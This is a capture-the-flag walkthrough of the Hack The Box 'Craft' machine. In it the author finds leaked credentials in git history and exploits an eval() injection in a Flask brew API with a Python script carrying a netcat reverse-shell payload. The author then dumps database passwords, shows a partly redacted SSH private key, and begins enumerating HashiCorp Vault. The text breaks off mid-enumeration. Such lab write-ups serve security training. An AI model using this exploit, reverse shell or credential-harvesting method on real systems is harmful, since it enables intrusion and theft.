Writeup author : Hicham Terkiba (@IOBreaker)


In some file you can see sometime a “…..” in place of characters, this is done to avoid ‘flag’ information disclosure

As usual, let’s do some port and service probing with nmap

❯❯ nmap -sV -sC -oA nmap/craft -p- 10.10.10.110
Nmap scan report for 10.10.10.110
Host is up (0.63s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey: 
|   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
|   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open  ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after:  2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec  5 11:30:05 2019 -- 1 IP address (1 host up) scanned in 49.56 seconds

Ok, so :

  • Domain is craft.htb
  • 22 OpenSSH 7.4p1, 443 nginx 1.15.8 is available
  • OS is Debian 10+deb9u5

For easy of use, let’s add the craft.htb to our host file

echo '10.10.10.110 craft craft.htb'     /etc/hosts

Now let’s check what is provided by nginx

Ok, we have some problem resolving api.craft.htb/api

We have some problem resolving gogs.craft.htb

to check if there is vhost rules used by enginx, we are going to add api.craft.htb and gogs.craft.htb into /etc/hosts

checking once again api.craft.htb

Ok, checking once again gogs.craft.htb

Perfect, we have access to both links.

Let’s explore the gogs (it is a git repo like), perhaps we can find some vulnerable code of some useful information

As yo can see we have a public access to Craft/craft-api repository.

Let’s clone it and try to do some greps to speed up recon

git -c http.sslVerify=false clone https://gogs.craft.htb/Craft/craft-api.git

Let’s verify if there is commits already done on this repo

Yes there is.

To speed up things, i am going to change to each commit and try to find if any file contain the word pass on it, perhaps we can find some file with clear password (bad commit)

root at yager in ~/H/c/craft-api (master|✔)
❯❯ for commit in (git log | grep commit | cut -d' ' -f 2)
              git checkout $commit
              grep -R -i pass *
              git switch -
              echo
              echo
   end
Note: switching to 'e55e12d800248c6bddf731462d0150f6e53c0802'.

HEAD is now at e55e12d Add db connection test script
app.py:    flask_app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://%s:%s@%s/%s' % ( settings.MYSQL_DATABASE_USER, settings.MYSQL_DATABASE_PASSWORD, settings.MYSQL_DATABASE_HOST, settings.MYSQL_DATABASE_DB)
craft_api/api/auth/endpoints/auth.py:        auth_results = User.query.filter(User.username == auth.username, User.password == auth.password).one()
craft_api/api/auth/endpoints/auth.py:        Create an authentication token provided valid username and password.
craft_api/database/models.py:    password = db.Column(db.String(80))
craft_api/database/models.py:    def __init__(self, username, password):
craft_api/database/models.py:        self.password = password
dbtest.py:                             password=settings.MYSQL_DATABASE_PASSWORD,


Switched to branch 'master'
Your branch is up to date with 'origin/master'.


Note: switching to 'a2d28ed1554adddfcfb845879bfea09f976ab7c1'.


HEAD is now at a2d28ed Cleanup test
app.py:    flask_app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://%s:%s@%s/%s' % ( settings.MYSQL_DATABASE_USER, settings.MYSQL_DATABASE_PASSWORD, settings.MYSQL_DATABASE_HOST, settings.MYSQL_DATABASE_DB)
craft_api/api/auth/endpoints/auth.py:        auth_results = User.query.filter(User.username == auth.username, User.password == auth.password).one()
craft_api/api/auth/endpoints/auth.py:        Create an authentication token provided valid username and password.
craft_api/database/models.py:    password = db.Column(db.String(80))
craft_api/database/models.py:    def __init__(self, username, password):
craft_api/database/models.py:        self.password = password


Previous HEAD position was a2d28ed Cleanup test
Switched to branch 'master'
Your branch is up to date with 'origin/master'.


Note: switching to '10e3ba4f0a09c778d7cec673f28d410b73455a86'.


HEAD is now at 10e3ba4 add test script
app.py:    flask_app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://%s:%s@%s/%s' % ( settings.MYSQL_DATABASE_USER, settings.MYSQL_DATABASE_PASSWORD, settings.MYSQL_DATABASE_HOST, settings.MYSQL_DATABASE_DB)
craft_api/api/auth/endpoints/auth.py:        auth_results = User.query.filter(User.username == auth.username, User.password == auth.password).one()
craft_api/api/auth/endpoints/auth.py:        Create an authentication token provided valid username and password.
craft_api/database/models.py:    password = db.Column(db.String(80))
craft_api/database/models.py:    def __init__(self, username, password):
craft_api/database/models.py:        self.password = password


Previous HEAD position was 10e3ba4 add test script
Switched to branch 'master'
Your branch is up to date with 'origin/master'.


Note: switching to 'c414b160578943acfe2e158e89409623f41da4c6'.


HEAD is now at c414b16 Add fix for bogus ABV values
app.py:    flask_app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://%s:%s@%s/%s' % ( settings.MYSQL_DATABASE_USER, settings.MYSQL_DATABASE_PASSWORD, settings.MYSQL_DATABASE_HOST, settings.MYSQL_DATABASE_DB)
craft_api/api/auth/endpoints/auth.py:        auth_results = User.query.filter(User.username == auth.username, User.password == auth.password).one()
craft_api/api/auth/endpoints/auth.py:        Create an authentication token provided valid username and password.
craft_api/database/models.py:    password = db.Column(db.String(80))
craft_api/database/models.py:    def __init__(self, username, password):
craft_api/database/models.py:        self.password = password


Previous HEAD position was c414b16 Add fix for bogus ABV values
Switched to branch 'master'
Your branch is up to date with 'origin/master'.


Note: switching to '4fd8dbf8422cbf28f8ec96af54f16891dfdd7b95'.


HEAD is now at 4fd8dbf Add authentication to brew modify endpoints
app.py:    flask_app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://%s:%s@%s/%s' % ( settings.MYSQL_DATABASE_USER, settings.MYSQL_DATABASE_PASSWORD, settings.MYSQL_DATABASE_HOST, settings.MYSQL_DATABASE_DB)
craft_api/api/auth/endpoints/auth.py:        auth_results = User.query.filter(User.username == auth.username, User.password == auth.password).one()
craft_api/api/auth/endpoints/auth.py:        Create an authentication token provided valid username and password.
craft_api/database/models.py:    password = db.Column(db.String(80))
craft_api/database/models.py:    def __init__(self, username, password):
craft_api/database/models.py:        self.password = password


Previous HEAD position was 4fd8dbf Add authentication to brew modify endpoints
Switched to branch 'master'
Your branch is up to date with 'origin/master'.


Note: switching to '90fb3e8aa0ca9683bcc1ece8fc5bb15cb833a6ff'.


HEAD is now at 90fb3e8 Initialize git project
app.py:    flask_app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://%s:%s@%s/%s' % ( settings.MYSQL_DATABASE_USER, settings.MYSQL_DATABASE_PASSWORD, settings.MYSQL_DATABASE_HOST, settings.MYSQL_DATABASE_DB)
craft_api/api/auth/endpoints/auth.py:        auth_results = User.query.filter(User.username == auth.username, User.password == auth.password).one()
craft_api/api/auth/endpoints/auth.py:        Create an authentication token provided valid username and password.
craft_api/database/models.py:    password = db.Column(db.String(80))
craft_api/database/models.py:    def __init__(self, username, password):
craft_api/database/models.py:        self.password = password


Previous HEAD position was 90fb3e8 Initialize git project
Switched to branch 'master'
Your branch is up to date with 'origin/master'.

No clear password. But something intereting here, the settings variables. according to how it is used, it appear that this variables (object) has connexion’s creds. so we should definitely look for it.

For now, no file with name settings.py

This time let’s see if we can find something with auth

❯❯ for commit in (git log | grep commit | cut -d' ' -f 2)
git checkout $commit
grep -R -i auth
git switch -
echo
echo
end
Note: switching to 'e55e12d800248c6bddf731462d0150f6e53c0802'.
YHEAD is now at e55e12d Add db connection test script
….
….
tests/test.py:response = requests.get('https://api.craft.htb/api/auth/login', auth=('', ''), verify=False)
….
….
Note: switching to 'a2d28ed1554adddfcfb845879bfea09f976ab7c1'.
HEAD is now at a2d28ed Cleanup test
…..
…..
tests/test.py:response = requests.get('https://api.craft.htb/api/auth/login', auth=('', ''), verify=False)
….
….
Note: switching to '10e3ba4f0a09c778d7cec673f28d410b73455a86'.
HEAD is now at 10e3ba4 add test script
tests/test.py:response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
tests/test.py:response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
Note: switching to 'c414b160578943acfe2e158e89409623f41da4c6'.
HEAD is now at c414b16 Add fix for bogus ABV values
….
….
app.py:from craft_api.api.auth.endpoints.auth import ns as craft_auth_namespace
app.py: api.add_namespace(craft_auth_namespace)
….
….
Note: switching to '4fd8dbf8422cbf28f8ec96af54f16891dfdd7b95'.
HEAD is now at 4fd8dbf Add authentication to brew modify endpoints
….
….
app.py:from craft_api.api.auth.endpoints.auth import ns as craft_auth_namespace
app.py: api.add_namespace(craft_auth_namespace)
….
….
Note: switching to '90fb3e8aa0ca9683bcc1ece8fc5bb15cb833a6ff'.
HEAD is now at 90fb3e8 Initialize git project
….
….
app.py:from craft_api.api.auth.endpoints.auth import ns as craft_auth_namespace
app.py: api.add_namespace(craft_auth_namespace)
….
….

We can confirm our cli finding using the GUI (web)

So now we have our entry point creds, but we have to check first if those creds are valid.

UserPassword
dinesh4aUh0A8PbVJxgd

Do you remember, we have in api.craft.htb/api we have a GET RESTAPI call that can generate a token and an other one to check it if we have a valid creds

To create a Token using creds

To check if the token is a valid one

Ok let’s do it

Good we have a token, let’s validate it

Nop, no entry to provide the token for testing, let’s test it using curl instead

root at yager in ~/H/c/craft-api (master|✔)
❯❯ curl -k -X GET "https://api.craft.htb/api/auth/check" -H "accept: application/json" -H "X-Craft-API-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTc2OTE4NTIwfQ.1eEdw40nVZy6egCmWG7augbCGFvXKvgldPkgupN9a1U" -d "{'token': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTc2OTE4NTIwfQ.1eEdw40nVZy6egCmWG7augbCGFvXKvgldPkgupN9a1U'}"
{"message":"Token is valid!"}
root at yager in ~/H/c/craft-api (master|✔)

Greate we have a token and it is valid.

Let’s check what we have in gogs discussions and open issues, perhaps some information about bugs.

A lot of things here.

Dinesh speaks about modifying brew to add bogus ABV values to the database using https://api.craft.htb/api/brew/ rest api

by clicking ok the commit id c414b16057

We can immediately notice inline number 43 in the if statement that eval function is used and it is used the bad why allowing for sure a code injection

that is confirmed (silently) by the comment of Bertram Gilfoyle saying

Can we remove that sorry excuse for a “patch” before something awful happens?

Let’s check the brew.py file

from flask import request, jsonify, make_response
from flask_restplus import Resource
from craft_api.api.restplus import api
from craft_api.api.auth.endpoints import auth
from craft_api.api.brew.operations import create_brew, update_brew, delete_brew
from craft_api.api.brew.serializers import beer_entry, page_of_beer_entries
from craft_api.api.brew.parsers import pagination_arguments
from craft_api.database.models import Brew
from functools import wraps
import datetime 

ns = api.namespace('brew/', description='Operations related to beer.')


@ns.route('/')
class BrewCollection(Resource):

    @api.expect(pagination_arguments)
    @api.marshal_with(page_of_beer_entries)
    def get(self):
        """
        Returns list of brews.
        """
        args = pagination_arguments.parse_args(request)
        page = args.get('page', 1)
        per_page = args.get('per_page', 10)

        brews_query = Brew.query
        brews_page = brews_query.paginate(page, per_page, error_out=False)

        return brews_page

    @auth.auth_required
    @api.expect(beer_entry)
    def post(self):
        """
        Creates a new brew entry.
        """

        # make sure the ABV value is sane.
        if eval('%s > 1' % request.json['abv']): # <------ HERE -----------
            return "ABV must be a decimal value less than 1.0", 400
        else:
            create_brew(request.json)
            return None, 201

@ns.route('/<int:id>')
@api.response(404, 'Brew not found.')
class BrewItem(Resource):

    @api.marshal_with(beer_entry)
    def get(self, id):
        """
        Returns brew data.
        """
        return Brew.query.filter(Brew.id == id).one()

    @auth.auth_required
    @api.expect(beer_entry)
    @api.response(204, 'Brew successfully updated.')
    def put(self, id):
        """
        Updates a brew.
        """
        data = request.json
        update_brew(id, data)
        return None, 204

    @auth.auth_required
    @api.response(204, 'Brew successfully deleted.')
    def delete(self, id):
        """
        Deletes a brew.
        """
        delete_brew(id)
        return None, 204

Let’s try to use this vulnerability in order to get a revere shell.

For this we have to develop our own script that forge our token using Dinesh account and use it to attach yo https://api.craft.htb/api/brew/ endpoint

#!/usr/bin/env python

import requests
import json
import urllib3


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }


# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print("-> Building token")
print('{"token":"'+token+'"}'+"\n")
print("-> Validating Token")
print(response.text)

# Payload
brew_dict = {}
brew_dict['abv'] = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.96 9001 >/tmp/f')"

brew_dict['name'] = 'iob'
brew_dict['brewer'] = 'iob'
brew_dict['style'] = 'iob'

print('-> Sending following brew_dict')
print(str(brew_dict)+"\n")

json_data = json.dumps(brew_dict)

response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)

print('-> Response')
print(response.text)

Before executing our injector script, let’s check what is our ip (to adapt the payload to) and start a listenner

Let’s test it

/opt/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/opt/app # 

let’s see what we have

/opt/app # ls -alrt
total 32
-rw-r--r--    1 root     root          1585 Feb  7  2019 app.py
-rw-r--r--    1 root     root            18 Feb  7  2019 .gitignore
drwxr-xr-x    5 root     root          4096 Feb  7  2019 craft_api
drwxr-xr-x    2 root     root          4096 Feb  7  2019 tests
-rwxr-xr-x    1 root     root           673 Feb  8  2019 dbtest.py
drwxr-xr-x    8 root     root          4096 Feb  8  2019 .git
drwxr-xr-x    1 root     root          4096 Feb  9  2019 ..
drwxr-xr-x    5 root     root          4096 Feb 10  2019 .

What is inside dbtest.py

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try: 
    with connection.cursor() as cursor:
        sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
        cursor.execute(sql)
        result = cursor.fetchone()
        print(result)

finally:
    connection.close()

what if we execute it 😉

Ok, because we have a very very ugly and none respensive terminal, let’s put this script in oneliner and execute it

python -c 'sql="SELECT VERSION()"; import pymysql; from craft_api import settings; connection = pymysql.connect(host="craft_db_1.craft_default",user=settings.MYSQL_DATABASE_USER,password=settings.MYSQL_DATABASE_PASSWORD,db=settings.MYSQL_DATABASE_DB,cursorclass=pymysql.cursors.DictCursor); cursor = connection.cursor(); cursor.execute(sql); result = cursor.fetchall(); print(result); connection.close();'

[{'VERSION()': '8.0.15'}]

/opt/app # python -c 'sql="SHOW TABLES"; import pymysql; from craft_api import settings; connection = pymysql.connect(host="craft_db_1.craft_default",user=settings.MYSQL_DATABASE_USER,password=settings.MYSQL_DATABASE_PASSWORD,db=settings.MYSQL_DATABASE_DB,cursorclass=pymysql.cursors.DictCursor); cursor = connection.cursor(); cursor.execute(sql); result = cursor.fetchall(); print(result); connection.close();'

[{'Tables_in_craft': 'brew'}, {'Tables_in_craft': 'user'}]

We know that we have a table called user, let’s see what is in there

/opt/app # python -c 'sql="SELECT * FROM user"; import pymysql; from craft_api import settings; connection = pymysql.connect(host="craft_db_1.craft_default",user=settings.MYSQL_DATABASE_USER,password=settings.MYSQL_DATABASE_PASSWORD,db=settings.MYSQL_DATABASE_DB,cursorclass=pymysql.cursors.DictCursor); cursor = connection.cursor(); cursor.execute(sql); result = cursor.fetchall(); print(result); connection.close();'

[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

Perfect, 2 more creds

UserPassword
dinesh4aUh0A8PbVJxgd
ebachmanllJ77D8QFkLPQB
gilfoyleZEU3N8WNM2rh4T

let’s see if gilfoyle can access gogs

gilfoyle Has access to a new repo called craft-infra

Doing some recon, we can notice the .ssh directory, hope it stores the ssh private key of gilfoyle

let’s get the content of the keys

OPENSSH private key of gilfoyle

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDD9Lalqe
qF/F3X76qfIGkIAAAAEAAAAAEAAAEXAAAAB3NzaC1yc2EAAAADAQABAAABAQDSkCF7NV2Z
F6z8bm8RaFegvW2v58stknmJK9oS54ZdUzH2jgD0bYauVqZ5DiURFxIwOcbVK+jB39uqrS
zU0aDPlyNnUuUZh1Xdd6rcTDE3VU16roO918VJCN+tIEf33pu2VtShZXDrhGxpptcH/tfS
RgV86HoLpQ0sojfGyIn+4sCg2EEXYng2JYxD+C1o4jnBbpiedGuqeDSmpunWA82vwWX4xx
lLNZ/ZNgCQTlvPMgFbxCAdCTyHzyE7KI+0Zj7qFUeRhEgUN7RMmb3JKEnaqptW4tqNYmVw
pmMxHTQYXn5RN49YJQlaFOZtkEndaSeLz2dEA96EpS5OJl0jzUThAAAD0JwMkipfNFbsLQ
B4TyyZ/M/uERDtndIOKO+nTxR1+eQkudpQ/ZVTBgDJb/z3M2uLomCEmnfylc6fGURidrZi
4u+fwUG0Sbp9CWa8fdvU1foSkwPx3oP5YzS4S+m/w8GPCfNQcyCaKMHZVfVsys9+mLJMAq
Rz5HY6owSmyB7BJrRq0h1pywue64taF/FP4sThxknJuAE+8BXDaEgjEZ+5RA5Cp4fLobyZ
3MtOdhGiPxFvnMoWwJLtqmu4hbNvnI0c4m9fcmCO8XJXFYz3o21Jt+FbNtjfnrIwlOLN6K
Uu/17IL1vTlnXpRzPHieS5eEPWFPJmGDQ7eP+gs/PiRofbPPDWhSSLt8BWQ0dzS8jKhGmV
.......
GfmVxnsgZAyPhWmJJe3pAIy+OCNwQDFo0vQ8kET1I0Q8DNyxEcwi0N2F5FAE0gmUdsO+J5
.......
5TA8NFxd+RM2SotncL5mt2DNoB1eQYCYqb+fzD4mPPUEhsqYUzIl8r8XXdc5bpz2wtwPTE
cVARG063kQlbEPaJnUPl8UG2oX9LCLU9ZgaoHVP7k6lmvK2Y9wwRwgRrCrfLREG56OrXS5
elqzID2oz1oP1f+PJxeberaXsDGqAPYtPo4RHS0QAa7oybk6Y/ZcGih0ChrESAex7wRVnf
CuSlT+bniz2Q8YVoWkPKnRHkQmPOVNYqToxIRejM7o3/y9Av91CwLsZu2XAqElTpY4TtZa
hRDQnwuWSyl64tJTTxiycSzFdD7puSUK48FlwNOmzF/eROaSSh5oE4REnFdhZcE4TLpZTB
......
MIxQ0KLO+nvwAzgxFPSFVYBGcWRR3oH6ZSf+iIzPR4lQw9OsKMLKQilpxC6nSVUPoopU0W
Uhn1zhbr+5w5eWcGXfna3QQe3zEHuF3LA5s0W+Ql3nLDpg0oNxnK7nDj2I6T7/qCzYTZnS
.......
I2mtcTYb1RbYd9dDe8eE1X+C/7SLRub3qdqt1B0AgyVG/jPZYf/spUKlu91HFktKxTCmHz
6YvpJhnN2SfJC/QftzqZK2MndJrmQ=
-----END OPENSSH PRIVATE KEY-----

RSA public key of gilfoyle

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSkCF7NV2ZF6z8bm8RaFegvW2v58stknmJK9oS54ZdUz........wOcbVK+jB39uqrSzU0aDPlyNnUuUZh1Xdd6rcTDE3VU16roO918VJCN+tIEf33pu2VtShZXDrhGxpptcH/tfSRgV86HoLpQ0sojfGyI.......D+C1o4jnBbpiedGuqeDSmpunWA82vwWX4xxlLNZ/ZNgCQTlvPMgFbxCAdCTyHzyE7KI+0Zj7qFUeRhEgUN7RMmb3JKEnaqptW4tqNYmVwpmMxHTQYXn5RN49YJQlaFOZt.......EpS5OJl0jzUTh gilfoyle@craft.htb

let’s see if we can make an ssh connexion using this private key

I saved the private key under the name if id_openssh.priv

Let’s first change the right of the key to let ssh use it

chmod 600 id_openssh.priv

Ok let’s test

Hummmm, invalid key, even the password found for gilfoyle does not work,

I think I need to convert the key to RSA format, for the passphrase I am going to use the password found on the DB for gilfoyle

❯❯ puttygen id_openssh.priv -O private-openssh -o gilfoyle-ssh-key.priv
Enter passphrase to load key: 
root at yager in ~/H/c/s/gilfoyle
❯❯ ls

id_openssh.priv       
gilfoyle-ssh-key.priv

Ok, good, we have an access now

We have the user flag 🙂

Let’s see what we have as environment variables

gilfoyle@craft:~$ env
SSH_CONNECTION=10.10.15.96 41516 10.10.10.110 22
LANG=en_US.UTF-8
XDG_SESSION_ID=240
USER=gilfoyle
PWD=/home/gilfoyle
HOME=/home/gilfoyle
SSH_CLIENT=10.10.15.96 41516 22
SSH_TTY=/dev/pts/0
MAIL=/var/mail/gilfoyle
TERM=xterm-256color
SHELL=/bin/bash
VAULT_ADDR=https://vault.craft.htb:8200/
SHLVL=1
LOGNAME=gilfoyle
XDG_RUNTIME_DIR=/run/user/1001
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
_=/usr/bin/env
gilfoyle@craft:~$ 

Interesting vault.craft.htb:8200, I do not know if you rember but in craft-infra repo, gilfoyle has a directory named vault

❯❯ cd craft-infra/
root at yager in ~/H/c/craft-infra (master|✔)

❯❯ ls
craft-flask/  docker-compose.yml  mysql/  nginx/  vault/
root at yager in ~/H/c/craft-infra (master|✔)

❯❯ cd vault/
root at yager in ~/H/c/c/vault (master|✔)

❯❯ ls
config.hcl  Dockerfile  secrets.sh

  • config.hcl

❯❯ cat config.hcl 
storage "file" {
    path = "/vault/data"
  }
ui = false
listener "tcp" {
  address = "0.0.0.0:8200"
  tls_cert_file = "/vault/pki/vault.craft.htb.crt"
  tls_key_file = "/vault/pki/vault.craft.htb.key"
  tls_min_version = "tls12"
}

  • secrets.sh

❯❯ cat secrets.sh 
#!/bin/bash

# set up vault secrets backend

vault secrets enable ssh

vault write ssh/roles/root_otp \
    key_type=otp \
    default_user=root \
    cidr_list=0.0.0.0/0

Interesting, it means that ssh service for the vault is enabled, sweet

  • Dockerfile

❯❯ cat Dockerfile 
FROM alpine:3.8

# This is the release of Vault to pull in.
ENV VAULT_VERSION=0.11.1

# Create a vault user and group first so the IDs get set the same way,
# even as the rest of this may change over time.
RUN addgroup vault && \
    adduser -S -G vault vault

# Set up certificates, our base tools, and Vault.
RUN set -eux; \
    apk add --no-cache ca-certificates gnupg openssl libcap su-exec dumb-init && \
    apkArch="$(apk --print-arch)"; \
    case "$apkArch" in \
        armhf) ARCH='arm' ;; \
        aarch64) ARCH='arm64' ;; \
        x86_64) ARCH='amd64' ;; \
        x86) ARCH='386' ;; \ 
        *) echo >&2 "error: unsupported architecture: $apkArch"; exit 1 ;; \
    esac && \
    VAULT_GPGKEY=91A6E7F85D05C65630BEF18951852D87348FFC4C; \
    found=''; \
    for server in \
        hkp://p80.pool.sks-keyservers.net:80 \
        hkp://keyserver.ubuntu.com:80 \
        hkp://pgp.mit.edu:80 \
    ; do \
        echo "Fetching GPG key $VAULT_GPGKEY from $server"; \
        gpg --keyserver "$server" --recv-keys "$VAULT_GPGKEY" && found=yes && break; \
    done; \
    test -z "$found" && echo >&2 "error: failed to fetch GPG key $VAULT_GPGKEY" && exit 1; \
    mkdir -p /tmp/build && \
    cd /tmp/build && \
    wget https://releases.hashicorp.com/vault/${VAULT_VERSION}/vault_${VAULT_VERSION}_linux_${ARCH}.zip && \
    wget https://releases.hashicorp.com/vault/${VAULT_VERSION}/vault_${VAULT_VERSION}_SHA256SUMS && \
    wget https://releases.hashicorp.com/vault/${VAULT_VERSION}/vault_${VAULT_VERSION}_SHA256SUMS.sig && \
    gpg --batch --verify vault_${VAULT_VERSION}_SHA256SUMS.sig vault_${VAULT_VERSION}_SHA256SUMS && \
    grep vault_${VAULT_VERSION}_linux_${ARCH}.zip vault_${VAULT_VERSION}_SHA256SUMS | sha256sum -c && \
    unzip -d /bin vault_${VAULT_VERSION}_linux_${ARCH}.zip && \
    cd /tmp && \
    rm -rf /tmp/build && \
    gpgconf --kill dirmngr && \
    gpgconf --kill gpg-agent && \
    apk del gnupg openssl && \
    rm -rf /root/.gnupg

# /vault/logs is made available to use as a location to store audit logs, if
# desired; /vault/file is made available to use as a location with the file
# storage backend, if desired; the server will be started with /vault/config as
# the configuration directory so you can add additional config files in that
# location.
RUN mkdir -p /vault/logs && \
    mkdir -p /vault/file && \
    mkdir -p /vault/config && \
    chown -R vault:vault /vault

# 8200/tcp is the primary interface that applications use to interact with
# Vault.
EXPOSE 8200

# The entry point script uses dumb-init as the top-level process to reap any
# zombie processes created by Vault sub-processes.
#
# For production derivatives of this container, you shoud add the IPC_LOCK
# capability so that Vault can mlock memory.
COPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh
RUN chmod 777 /usr/local/bin/docker-entrypoint.sh
ENTRYPOINT ["docker-entrypoint.sh"]

# By default you'll get a single-node development server that stores everything
# in RAM and bootstraps itself. Don't use this configuration for production.
CMD ["server", "-dev"]

And from this file we can see that the vault software is provided by hashicorp

If you do not know how hashicorp’s vault works, you should go here to do same RTFM

In our case, the best part is :

One-Time SSH Passwords :

The One-Time SSH Password (OTP) SSH secrets engine type allows a Vault server to issue a One-Time Password every time a client wants to SSH into a remote host using a helper command on the remote host to perform verification.

An authenticated client requests credentials from the Vault server and, if authorized, is issued an OTP. When the client establishes an SSH connection to the desired remote host, the OTP used during SSH authentication is received by the Vault helper, which then validates the OTP with the Vault server. The Vault server then deletes this OTP, ensuring that it is only used once.

Since the Vault server is contacted during SSH connection establishment, every login attempt and the correlating Vault lease information is logged to the audit secrets engine.

See Vault-SSH-Helper for details on the helper.

Drawbacks

The main concern with the OTP secrets engine type is the remote host’s connection to Vault; if compromised, an attacker could spoof the Vault server returning a successful request. This risk can be mitigated by using TLS for the connection to Vault and checking certificate validity; future enhancements to this secrets engine may allow for extra security on top of what TLS provides.

Let’s do some checks

gilfoyle@craft:/dev/shm$ vault policy list
default
root

gilfoyle@craft:/dev/shm$ vault policy read root
No policy named: root
gilfoyle@craft:/dev/shm$ vault policy read default
# Allow tokens to look up their own properties
path "auth/token/lookup-self" {
    capabilities = ["read"]
}

# Allow tokens to renew themselves
path "auth/token/renew-self" {
    capabilities = ["update"]
}

# Allow tokens to revoke themselves
path "auth/token/revoke-self" {
    capabilities = ["update"]
}

# Allow a token to look up its own capabilities on a path
path "sys/capabilities-self" {
    capabilities = ["update"]
}

# Allow a token to look up its resultant ACL from all policies. This is useful
# for UIs. It is an internal path because the format may change at any time
# based on how the internal ACL features and capabilities change.
path "sys/internal/ui/resultant-acl" {
    capabilities = ["read"]
}

# Allow a token to renew a lease via lease_id in the request body; old path for
# old clients, new path for newer
path "sys/renew" {
    capabilities = ["update"]
}
path "sys/leases/renew" {
    capabilities = ["update"]
}

# Allow looking up lease properties. This requires knowing the lease ID ahead
# of time and does not divulge any sensitive information.
path "sys/leases/lookup" {
    capabilities = ["update"]
}

# Allow a token to manage its own cubbyhole
path "cubbyhole/*" {
    capabilities = ["create", "read", "update", "delete", "list"]
}

# Allow a token to wrap arbitrary values in a response-wrapping token
path "sys/wrapping/wrap" {
    capabilities = ["update"]
}

# Allow a token to look up the creation time and TTL of a given
# response-wrapping token
path "sys/wrapping/lookup" {
    capabilities = ["update"]
}

# Allow a token to unwrap a response-wrapping token. This is a convenience to
# avoid client token swapping since this is also part of the response wrapping
# policy.
path "sys/wrapping/unwrap" {
    capabilities = ["update"]
}

# Allow general purpose tools
path "sys/tools/hash" {
    capabilities = ["update"]
}
path "sys/tools/hash/*" {
    capabilities = ["update"]
}
path "sys/tools/random" {
    capabilities = ["update"]
}
path "sys/tools/random/*" {
    capabilities = ["update"]
}

# Allow checking the status of a Control Group request if the user has the
# accessor
path "sys/control-group/request" {
    capabilities = ["update"]
}

gilfoyle@craft:/dev/shm$ vault auth list -detailed
Path         Plugin      Accessor                  Default TTL    Max TTL    Token Type    Replication    Seal Wrap    Options    Description
----         ------      --------                  -----------    -------    ----------    -----------    ---------    -------    -----------
token/       token       auth_token_a38d00ba       system         system     n/a           replicated     false        map[]      token based credentials
userpass/    userpass    auth_userpass_4580aeca    system         system     n/a           replicated     false        map[]      n/a 

gilfoyle@craft:/dev/shm$ vault secrets list
Path          Type         Accessor              Description
----          ----         --------              -----------
cubbyhole/    cubbyhole    cubbyhole_ffc9a6e5    per-token private secret storage
identity/     identity     identity_56533c34     identity store
secret/       kv           kv_2d9b0109           key/value secret storage
ssh/          ssh          ssh_3bbd5276          n/a
sys/          system       system_477ec595       system endpoints used for control, policy and debugging

This is interesting, ssh module is enabled and can be used

gilfoyle@craft:/dev/shm$ vault secrets list -detailed
Path          Plugin       Accessor              Default TTL    Max TTL    Force No Cache    Replication    Seal Wrap    Options           Description
----          ------       --------              -----------    -------    --------------    -----------    ---------    -------           -----------
